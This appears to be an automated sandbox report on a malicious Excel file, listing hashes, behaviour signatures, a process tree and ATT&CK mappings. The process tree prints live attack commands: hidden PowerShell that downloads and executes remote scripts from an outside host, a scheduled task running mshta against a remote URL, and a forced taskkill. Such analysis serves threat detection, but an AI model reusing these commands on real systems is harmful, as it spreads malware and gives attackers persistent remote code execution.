392de25228482e17400c27ca87cfe91ddf60b1dedcffd36cad1c52c6a0f7c4d0

General

Target

SecuriteInfo.com.Exploit.Siggen3.17232.17500.xls
Size

33KB
MD5

72b9a844ed7ab767c1de85facfb4ad04
SHA1

88d41799156fcc5c6dc80124cc55cc3f96d940b6
SHA256

392de25228482e17400c27ca87cfe91ddf60b1dedcffd36cad1c52c6a0f7c4d0
SHA512

7214899618bd9ec54db02340a86a345c5273d12c4694f29ebff0d5515fd1eec72b4b4a30f1a267d3e070d7a2d92dbb850ec5f1bec88f0509e103b6f380c9f28b

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2788	4564	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2812	4564	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4124	4564	cmd.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1440	4564	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

29 1992 powershell.exe
32 2120 powershell.exe

flow	pid	process
29	1992	powershell.exe
32	2120	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1988 schtasks.exe

pid	process
1988	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4112 taskkill.exe
Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXEPING.EXEPING.EXE

pid process

4884 PING.EXE
2444 PING.EXE
4304 PING.EXE
3620 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4564 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1992 powershell.exe
1992 powershell.exe
2120 powershell.exe
2120 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4112 taskkill.exe
Token: SeDebugPrivilege 1992 powershell.exe
Token: SeDebugPrivilege 2120 powershell.exe

pid	process
4112	taskkill.exe

pid	process
4884	PING.EXE
2444	PING.EXE
4304	PING.EXE
3620	PING.EXE

pid	process
1992	powershell.exe
1992	powershell.exe
2120	powershell.exe
2120	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4112	taskkill.exe
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE
4564	EXCEL.EXE

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

EXCEL.EXEcmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4564 wrote to memory of 2788	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 2788	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 2812	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 2812	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 4124	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 4124	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 1440	4564	EXCEL.EXE	cmd.exe
PID 4564 wrote to memory of 1440	4564	EXCEL.EXE	cmd.exe
PID 4124 wrote to memory of 4884	4124	cmd.exe	PING.EXE
PID 4124 wrote to memory of 4884	4124	cmd.exe	PING.EXE
PID 1440 wrote to memory of 2444	1440	cmd.exe	PING.EXE
PID 1440 wrote to memory of 2444	1440	cmd.exe	PING.EXE
PID 2812 wrote to memory of 3620	2812	cmd.exe	PING.EXE
PID 2812 wrote to memory of 3620	2812	cmd.exe	PING.EXE
PID 2788 wrote to memory of 4304	2788	cmd.exe	PING.EXE
PID 2788 wrote to memory of 4304	2788	cmd.exe	PING.EXE
PID 4124 wrote to memory of 1636	4124	cmd.exe	cmd.exe
PID 4124 wrote to memory of 1636	4124	cmd.exe	cmd.exe
PID 1636 wrote to memory of 1992	1636	cmd.exe	powershell.exe
PID 1636 wrote to memory of 1992	1636	cmd.exe	powershell.exe
PID 4124 wrote to memory of 1016	4124	cmd.exe	cmd.exe
PID 4124 wrote to memory of 1016	4124	cmd.exe	cmd.exe
PID 1016 wrote to memory of 4112	1016	cmd.exe	taskkill.exe
PID 1016 wrote to memory of 4112	1016	cmd.exe	taskkill.exe
PID 2788 wrote to memory of 2736	2788	cmd.exe	cmd.exe
PID 2788 wrote to memory of 2736	2788	cmd.exe	cmd.exe
PID 2736 wrote to memory of 2120	2736	cmd.exe	powershell.exe
PID 2736 wrote to memory of 2120	2736	cmd.exe	powershell.exe
PID 2812 wrote to memory of 4192	2812	cmd.exe	cmd.exe
PID 2812 wrote to memory of 4192	2812	cmd.exe	cmd.exe
PID 4192 wrote to memory of 1988	4192	cmd.exe	schtasks.exe
PID 4192 wrote to memory of 1988	4192	cmd.exe	schtasks.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17232.17500.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4564

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 80 127.0.0.1 & %public%\Outlook.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2788

C:\Windows\system32\PING.EXE
ping -n 80 127.0.0.1
3⤵
- Runs ping.exe
PID:4304

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/log.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2120

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 85 127.0.0.1 & %public%\task.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\system32\PING.EXE
ping -n 85 127.0.0.1
3⤵
- Runs ping.exe
PID:3620

C:\Windows\system32\cmd.exe
cmd /c schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
3⤵
- Suspicious use of WriteProcessMemory
PID:4192

C:\Windows\system32\schtasks.exe
schtasks /create /sc MINUTE /mo 200 /tn "CDT" /tr "\"mshta\"http://facextrade.com.br/logs.php" /F
4⤵
- Creates scheduled task(s)
PID:1988

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 10 127.0.0.1 & %public%\DefenderFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4124

C:\Windows\system32\PING.EXE
ping -n 10 127.0.0.1
3⤵
- Runs ping.exe
PID:4884

C:\Windows\system32\cmd.exe
cmd /c start /min PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
3⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell -ex Bypass -nOp -w 1 i'e'x(iwr('http://facextrade.com.br/df.txt'))
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1992

C:\Windows\system32\cmd.exe
cmd /c start /min taskkill /f /im WINWORD.EXE
3⤵
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\system32\taskkill.exe
taskkill /f /im WINWORD.EXE
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4112

C:\Windows\SYSTEM32\cmd.exe
cmd /c ping -n 7 127.0.0.1 & %public%\KilFile.bat exit
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\system32\PING.EXE
ping -n 7 127.0.0.1
3⤵
- Runs ping.exe
PID:2444

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
abc27673d9c940ad74b41c58391d2412

SHA1
9a31a521a521dcd0f974ce6f7a50aecc69a50df0

SHA256
cb3f2adb2f5e39fbe5ae3c49837d9074a85f21e9be7eb8404444611f78a08357

SHA512
c7a574f9a53d29e2212500eb48fb05f475bac1e21b858f58e0e441caabea760ba7b7425a98610bf91e66d662f70a91c210b522bbecad3f5180e1aedbf6cfcdc4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
6KB

MD5
d1e84d7dd10ade0d73c04908f7a55809

SHA1
e8b5631f1fb1b4fe5a44aa8ec79df4829b52fb23

SHA256
0cc8900114868ed0ac000990099b4d04ba81654cb57c9ba35e40796561fb17e3

SHA512
0e4ed03e285f202ae406e9622bcf275a668c74771869926f7b3a6403be4272e1a6144b97587347642a2a517d2b375e496a59c583b665ec39cc3a947526a2b24f

Download Submit
C:\Users\Public\DefenderFile.bat
Filesize
1KB

MD5
ae4a0997ce01f4ebbb3f3cc0054ce933

SHA1
e5bfe3b390f1208b8b6ea0317f4364005f552851

SHA256
a33dd1505c2ac665e6e1fd424a048997ec0f43914b8f73037bd94dc2e89e35ce

SHA512
5de2f43af7756cd7be659d6f03314240e08ecfee7bcb97b45f828ef938a0a0a84b0c36667d0447fd5bfa4851e5eef9cf98182933bda86b42af4a154b37b2f184

Download Submit
C:\Users\Public\Outlook.bat
Filesize
900B

MD5
0427a3545c2eaed3167cffe2cf5f8aba

SHA1
b27f3a7d2b855f1d0b84727603add711bb6f6170

SHA256
ec7da386a5fc7007e33ffdcd8ab64b6ac207d1886e04b9b60f27a95533347391

SHA512
fafb712a5b636c0118128c2d448271680e66fc73fac67538f4b84c9917a7053470d7710ce508cfd82c941942e469bd3d048d7ebbcefa99797542ad026dfe038b

Download Submit
C:\Users\Public\task.bat
Filesize
954B

MD5
20a395a26f50352dc994664c3e7df533

SHA1
9b6407d22297b7af7c49aacd51bf42e51ced7029

SHA256
c6c13b53153f21b2486096732847ddb48b8eb888bd3d6ab93ee1f958fcea1b32

SHA512
2b974da0b7859584e39a9afa2fdf74fb1efba58e68d0c7b420065254f2cf017a8eb393c5f061a12f6ea79c729cebf5f81749b8cf14159ad331aae1daa7701617

Download Submit
memory/1016-150-0x0000000000000000-mapping.dmp

Download
memory/1440-142-0x0000000000000000-mapping.dmp

Download
memory/1636-148-0x0000000000000000-mapping.dmp

Download
memory/1988-171-0x0000000000000000-mapping.dmp

Download
memory/1992-154-0x00007FF9B3400000-0x00007FF9B3EC1000-memory.dmp

Filesize
10.8MB

Download
memory/1992-152-0x0000023154F00000-0x0000023154F22000-memory.dmp

Filesize
136KB

Download
memory/1992-155-0x00007FF9B3400000-0x00007FF9B3EC1000-memory.dmp

Filesize
10.8MB

Download
memory/1992-149-0x0000000000000000-mapping.dmp

Download
memory/1992-153-0x00007FF9B3400000-0x00007FF9B3EC1000-memory.dmp

Filesize
10.8MB

Download
memory/2120-159-0x0000000000000000-mapping.dmp

Download
memory/2120-168-0x00007FF9B3400000-0x00007FF9B3EC1000-memory.dmp

Filesize
10.8MB

Download
memory/2120-167-0x00007FF9B3400000-0x00007FF9B3EC1000-memory.dmp

Filesize
10.8MB

Download
memory/2444-144-0x0000000000000000-mapping.dmp

Download
memory/2736-158-0x0000000000000000-mapping.dmp

Download
memory/2788-139-0x0000000000000000-mapping.dmp

Download
memory/2812-140-0x0000000000000000-mapping.dmp

Download
memory/3620-145-0x0000000000000000-mapping.dmp

Download
memory/4112-151-0x0000000000000000-mapping.dmp

Download
memory/4124-141-0x0000000000000000-mapping.dmp

Download
memory/4192-170-0x0000000000000000-mapping.dmp

Download
memory/4304-146-0x0000000000000000-mapping.dmp

Download
memory/4564-138-0x00007FF9997B0000-0x00007FF9997C0000-memory.dmp

Filesize
64KB

Download
memory/4564-161-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-162-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-163-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-164-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-135-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-133-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-136-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-137-0x00007FF9997B0000-0x00007FF9997C0000-memory.dmp

Filesize
64KB

Download
memory/4564-134-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4564-132-0x00007FF99C110000-0x00007FF99C120000-memory.dmp

Filesize
64KB

Download
memory/4884-143-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads